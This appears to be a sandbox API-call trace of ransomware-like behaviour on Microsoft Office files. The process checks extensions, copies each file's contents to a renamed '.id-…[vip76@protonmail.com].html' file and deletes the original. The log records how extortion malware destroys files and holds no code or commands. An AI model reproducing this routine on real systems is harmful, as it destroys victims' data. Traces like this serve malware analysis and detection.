	[0182.268] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.268] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.268] lstrlenW (lpString="PARNT_04.MID") returned 12
	[0182.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0182.269] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6070) returned 1
	[0182.269] CloseHandle (hObject=0x5bc) returned 1
	[0182.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220
	[0182.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0182.270] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.270] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.271] GetLastError () returned 0x0
	[0182.271] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x17b6, lpOverlapped=0x0) returned 1
	[0182.985] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0182.987] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.987] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.987] SetEndOfFile (hFile=0x590) returned 1
	[0183.009] CloseHandle (hObject=0x590) returned 1
	[0183.009] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.009] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.013] CloseHandle (hObject=0x5bc) returned 1
	[0183.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.134] lstrlenW (lpString=".doc") returned 4
	[0184.134] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.134] lstrlenW (lpString=".docx") returned 5
	[0184.134] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0184.134] lstrlenW (lpString=".pdf") returned 4
	[0184.134] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.134] lstrlenW (lpString=".xls") returned 4
	[0184.135] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.135] lstrlenW (lpString=".xlsx") returned 5
	[0184.135] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0184.135] lstrlenW (lpString=".ppt") returned 4
	[0184.135] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.135] lstrlenW (lpString=".zip") returned 4
	[0184.135] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.135] lstrlenW (lpString=".rar") returned 4
	[0184.135] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.135] lstrlenW (lpString=".bz2") returned 4
	[0184.135] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.135] lstrlenW (lpString=".7z") returned 3
	[0184.135] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.135] lstrlenW (lpString=".dbf") returned 4
	[0184.135] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.135] lstrlenW (lpString=".1cd") returned 4
	[0184.135] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.135] lstrlenW (lpString=".jpg") returned 4
	[0184.135] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.136] lstrlenW (lpString=".doc") returned 4
	[0184.136] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.136] lstrlenW (lpString=".docx") returned 5
	[0184.136] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0184.136] lstrlenW (lpString=".pdf") returned 4
	[0184.136] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.136] lstrlenW (lpString=".xls") returned 4
	[0184.136] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.136] lstrlenW (lpString=".xlsx") returned 5
	[0184.136] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0184.136] lstrlenW (lpString=".ppt") returned 4
	[0184.136] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.137] lstrlenW (lpString=".zip") returned 4
	[0184.137] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.137] lstrlenW (lpString=".rar") returned 4
	[0184.137] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.137] lstrlenW (lpString=".bz2") returned 4
	[0184.137] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.137] lstrlenW (lpString=".7z") returned 3
	[0184.137] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.137] lstrlenW (lpString=".dbf") returned 4
	[0184.137] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.137] lstrlenW (lpString=".1cd") returned 4
	[0184.137] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0184.137] lstrlenW (lpString=".jpg") returned 4
	[0184.137] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.137] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0184.137] lstrlenW (lpString="VCTRN_01.MID") returned 12
	[0184.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.649] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=4961) returned 1
	[0184.649] CloseHandle (hObject=0x514) returned 1
	[0184.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220
	[0184.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.650] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.650] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.651] GetLastError () returned 0x0
	[0184.651] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1361, lpOverlapped=0x0) returned 1
	[0184.653] WriteFile (in: hFile=0x5bc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0184.655] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.655] WriteFile (in: hFile=0x5bc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.655] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.656] CloseHandle (hObject=0x5bc) returned 1
	[0184.656] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.656] SetEndOfFile (hFile=0x514) returned 1
	[0184.660] CloseHandle (hObject=0x514) returned 1
	[0184.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1
	[0184.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.662] lstrlenW (lpString=".doc") returned 4
	[0184.662] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.662] lstrlenW (lpString=".docx") returned 5
	[0184.662] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.662] lstrlenW (lpString=".pdf") returned 4
	[0184.662] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.662] lstrlenW (lpString=".xls") returned 4
	[0184.662] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.662] lstrlenW (lpString=".xlsx") returned 5
	[0184.662] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.662] lstrlenW (lpString=".ppt") returned 4
	[0184.662] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.662] lstrlenW (lpString=".zip") returned 4
	[0184.662] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.662] lstrlenW (lpString=".rar") returned 4
	[0184.662] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.662] lstrlenW (lpString=".bz2") returned 4
	[0184.662] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.662] lstrlenW (lpString=".7z") returned 3
	[0184.662] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.662] lstrlenW (lpString=".dbf") returned 4
	[0184.663] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.663] lstrlenW (lpString=".1cd") returned 4
	[0184.663] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.663] lstrlenW (lpString=".jpg") returned 4
	[0184.663] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.663] lstrlenW (lpString=".doc") returned 4
	[0184.663] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.663] lstrlenW (lpString=".docx") returned 5
	[0184.663] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.663] lstrlenW (lpString=".pdf") returned 4
	[0184.663] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.663] lstrlenW (lpString=".xls") returned 4
	[0184.663] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.663] lstrlenW (lpString=".xlsx") returned 5
	[0184.663] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.663] lstrlenW (lpString=".ppt") returned 4
	[0184.663] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.664] lstrlenW (lpString=".zip") returned 4
	[0184.664] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.664] lstrlenW (lpString=".rar") returned 4
	[0184.664] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.664] lstrlenW (lpString=".bz2") returned 4
	[0184.664] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.664] lstrlenW (lpString=".7z") returned 3
	[0184.664] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.664] lstrlenW (lpString=".dbf") returned 4
	[0184.664] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.664] lstrlenW (lpString=".1cd") returned 4
	[0184.664] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0184.664] lstrlenW (lpString=".jpg") returned 4
	[0184.664] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.664] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0184.665] lstrlenW (lpString="Extreme Shadow.eftx") returned 19
	[0184.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.226] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=340217) returned 1
	[0185.226] CloseHandle (hObject=0x4a8) returned 1
	[0185.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220
	[0185.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.228] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.228] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.229] GetLastError () returned 0x0
	[0185.229] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x530f9, lpOverlapped=0x0) returned 1
	[0185.248] WriteFile (in: hFile=0x5b0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x53100, lpOverlapped=0x0) returned 1
	[0185.260] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.260] WriteFile (in: hFile=0x5b0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0185.260] SetEndOfFile (hFile=0x5b0) returned 1
	[0185.260] CloseHandle (hObject=0x5b0) returned 1
	[0185.260] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.260] SetEndOfFile (hFile=0x4a8) returned 1
	[0185.600] CloseHandle (hObject=0x4a8) returned 1
	[0185.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1
	[0185.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.602] lstrlenW (lpString=".doc") returned 4
	[0185.602] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString=".docx") returned 5
	[0185.602] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.602] lstrlenW (lpString=".pdf") returned 4
	[0185.602] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString=".xls") returned 4
	[0185.602] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString=".xlsx") returned 5
	[0185.602] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.602] lstrlenW (lpString=".ppt") returned 4
	[0185.602] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.602] lstrlenW (lpString=".zip") returned 4
	[0185.602] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString=".rar") returned 4
	[0185.602] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString=".bz2") returned 4
	[0185.602] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.602] lstrlenW (lpString=".7z") returned 3
	[0185.602] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.603] lstrlenW (lpString=".dbf") returned 4
	[0185.603] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.603] lstrlenW (lpString=".1cd") returned 4
	[0185.603] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.603] lstrlenW (lpString=".jpg") returned 4
	[0185.603] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.603] lstrlenW (lpString=".doc") returned 4
	[0185.603] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString=".docx") returned 5
	[0185.603] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.603] lstrlenW (lpString=".pdf") returned 4
	[0185.603] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString=".xls") returned 4
	[0185.603] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString=".xlsx") returned 5
	[0185.603] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.603] lstrlenW (lpString=".ppt") returned 4
	[0185.603] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.603] lstrlenW (lpString=".zip") returned 4
	[0185.603] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.603] lstrlenW (lpString=".rar") returned 4
	[0185.603] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.604] lstrlenW (lpString=".bz2") returned 4
	[0185.604] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.604] lstrlenW (lpString=".7z") returned 3
	[0185.604] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.604] lstrlenW (lpString=".dbf") returned 4
	[0185.604] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.604] lstrlenW (lpString=".1cd") returned 4
	[0185.604] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
